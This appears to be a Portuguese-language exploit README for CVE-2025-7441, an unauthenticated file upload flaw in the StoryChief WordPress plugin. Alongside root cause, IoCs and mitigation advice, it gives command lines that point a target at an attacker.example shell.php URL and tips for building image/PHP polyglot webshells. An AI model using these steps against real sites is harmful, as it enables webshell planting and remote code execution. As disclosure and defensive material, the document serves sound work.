CVE-2025-7441
StoryChief <= 1.0.42 - Upload Arbitrário de Arquivo Não Autenticado
🚨 StoryChief <= 1.0.42 — Upload Arbitrário de Arquivo Não Autenticado (CVE-2025-7441)
ℹ️ Resumo
O plugin StoryChief (WordPress) versões até 1.0.42, inclusive, expõe uma vulnerabilidade crítica de upload arbitrário de arquivo não autenticado por meio do endpoint REST /wp-json/storychief/webhook. Um atacante pode fazer com que o plugin busque e persista um recurso remoto controlado pelo atacante (por exemplo, um webshell) no diretório de uploads do site, permitindo execução remota de código em muitas implantações padrão do WordPress.
- CVE: CVE-2025-7441
- CVSS: 9.8 (Crítico)
💥 Impacto
- Upload remoto não autenticado de arquivo para wp-content/uploads/YYYY/MM/.
- Potencial de execução remota de código quando o arquivo enviado é executável (ex.: PHP).
- Comprometimento total do site é possível quando o WordPress está configurado para executar o PHP enviado sob a raiz do documento.
🧩 Causa Raiz da Vulnerabilidade
O plugin aceita um payload JSON de entrada (evento de publicação) que contém um campo featured_image -> data -> sizes -> full apontando para uma URL arbitrária. O StoryChief não realiza validação suficiente do tipo/conteúdo do arquivo nem restringe a origem da URL, permitindo que o plugin busque o recurso remoto e o salve no diretório de uploads do site. Não há validação suficiente para impedir o armazenamento de arquivos que contenham código executável.
🛠️ Script de exploit — o que ele faz (mapeamento para a vulnerabilidade)
Esta seção explica o script de exploit (fornecido separadamente) em alto nível e mapeia cada comportamento importante para a vulnerabilidade subjacente.
- Análise de argumentos de CLI — URL alvo (
-u/--url), URL do shell remoto (-shell), chave HMAC opcional, cabeçalhos, flags de proxy/timeout/retry, opções de debug e apenas impressão.
- Normalização do alvo — adiciona
/wp-json/storychief/webhook quando uma raiz de site é fornecida.
- Validação da URL do shell — verifica se a URL remota está acessível (HEAD/GET ou curl).
- Extração do nome do arquivo — usa o basename da URL remota para inferir o nome final no diretório de uploads.
- Construção do payload — insere a URL controlada pelo atacante em
data.featured_image.data.sizes.full para forçar o plugin a buscar e armazenar o arquivo.
- Assinatura HMAC (opcional) — calcula
meta.mac (HMAC-SHA256) usando uma chave hex opcional; alguns servidores podem ignorar ou exigir isso.
- Entrega — usa
requests com retries/backoff ou fallback para curl, suporta cabeçalhos personalizados, proxies e --no-verify.
- Tratamento da resposta — analisa respostas JSON em busca das chaves
permalink/id para detectar sucesso; caso contrário, reporta falha.
- Saída — imprime o caminho esperado de uploads:
wp-content/uploads/YYYY/MM/<filename> em caso de sucesso.
🖼️ Requisitos do arquivo shell (crítico)
Ao usar um arquivo remoto .php (por exemplo: https://attacker.example/shell.php), o arquivo deve incluir um cabeçalho de imagem válido (magic bytes) para que seja tratado/aceito como imagem pelo plugin ou pelo código de processamento de imagem. Pontos-chave:
- Use uma abordagem poliglota: o arquivo deve começar com magic bytes de imagem válidos (ex.: JPEG, PNG ou GIF) para que verificações ingênuas e manipuladores de imagem o aceitem, enquanto também contém o payload PHP em uma seção que permanece no disco exatamente como está.
- Magic bytes de imagem comuns:
- JPEG: 0xFF 0xD8 0xFF
- PNG: 0x89 0x50 0x4E 0x47
- GIF: ASCII "GIF89a" ou "GIF87a"
- Não confie apenas no nome/extensão do arquivo. Muitos plugins inspecionam o conteúdo do arquivo ou usam bibliotecas (GD, ImageMagick) que verificam a integridade da imagem.
- Depende do ambiente: alguns servidores validarão ou reencodarão imagens, o que pode remover o código injetado. Teste primeiro em um laboratório autorizado.
- Lembrete ético: NÃO publique código de webshell funcional aqui. Crie e teste esses arquivos apenas em ambientes autorizados.
▶️ Como executar (exemplos)
Substitua os placeholders por alvos autorizados. Todos os exemplos abaixo usam uma URL de shell remoto .php.
python3 CVE-2025-7441.py -u https://target.example -shell https://attacker.example/shell.php
- Com caminho de webhook explícito e debug:
python3 CVE-2025-7441.py -u https://target.example/wp-json/storychief/webhook -shell https://attacker.example/shell.php --debug
- Usar curl em vez de requests:
python3 CVE-2025-7441.py -u https://target.example -shell https://attacker.example/shell.php --use-curl
- Apenas imprimir o payload (não enviar):
python3 CVE-2025-7441.py -u https://target.example -shell https://attacker.example/shell.php --print-only
Flags importantes:
--no-verify: ignorar a verificação TLS (usar com cautela).
--proxy: rotear as requisições por um proxy.
--header "Key: Value": adicionar cabeçalhos personalizados.
📤 Saídas esperadas
- Execução bem-sucedida:
- Enviado: wp-content/uploads/2025/10/shell.php
- Exemplos de debug:
- [DEBUG] shell HEAD status: 200
- [DEBUG] post status: 200
- [DEBUG] curl cmd: curl -s -X POST https://target... -H Content-Type: application/json -d '{"meta":...}'
- Mensagens de falha:
- "[-] Error: shell URL is not reachable (not HTTP 200)"
- "[-] Error: request failed"
- "[-] Error: upload failed or endpoint returned non-JSON/HTML"
🔎 Detecção e Indicadores de Comprometimento (IoC)
- Requisições POST inesperadas para
/wp-json/storychief/webhook a partir de IPs desconhecidos.
- Novos arquivos em wp-content/uploads/// com extensões
.php ou extensões de imagem contendo código embutido.
- Logs do servidor web mostrando GETs de saída para domínios controlados pelo atacante, seguidos de acesso aos arquivos enviados.
- Arquivos de imagem suspeitos com conteúdo não relacionado a imagem anexado ou embutido.
Curto prazo:
- Atualize o StoryChief para uma versão corrigida imediatamente quando disponível.
- Bloqueie ou restrinja
/wp-json/storychief/webhook via WAF ou regras do servidor.
- Restrinja buscas de saída do servidor ou o egresso para domínios não confiáveis.
Orientações para desenvolvedores:
- Valide os tipos e conteúdos de arquivo após qualquer busca remota; verifique imagens usando parsers seguros e rejeite arquivos inválidos.
- Exija autenticação para webhooks que causam downloads ou criação de arquivos no lado do servidor.
- Garanta que a verificação de assinatura/HMAC seja implementada e aplicada.
- Armazene o conteúdo enviado fora da raiz do documento (webroot) ou desative a execução de arquivos enviados em wp-content/uploads (regras do servidor web).
⚠️ Limitações e Advertências
- O sucesso do exploit depende da configuração do servidor, das bibliotecas de processamento de imagem e das políticas de execução do servidor web.
- Servidores que reprocessam ou reencodam imagens podem remover os payloads injetados.
- Se o plugin verificar assinaturas, fornecer uma
mac incorreta pode causar rejeição.
🤝 Uso Responsável
Este documento é para defensores e testadores autorizados. NÃO use estas técnicas contra sistemas que você não possui ou para os quais não tem permissão explícita para testar. A exploração não autorizada é ilegal e antiética.
Se você estiver reportando o problema a um fornecedor ou proprietário do site, inclua detalhes de reprodução, etapas seguras de remediação e correções sugeridas.
📚 Referências e Créditos
- Relatório e script de exploit por: Nxploited (Khaled Alenazi) — nome do script: CVE-2025-7441.py (fornecido separadamente)
- CVE: CVE-2025-7441
- CVSS: 9.8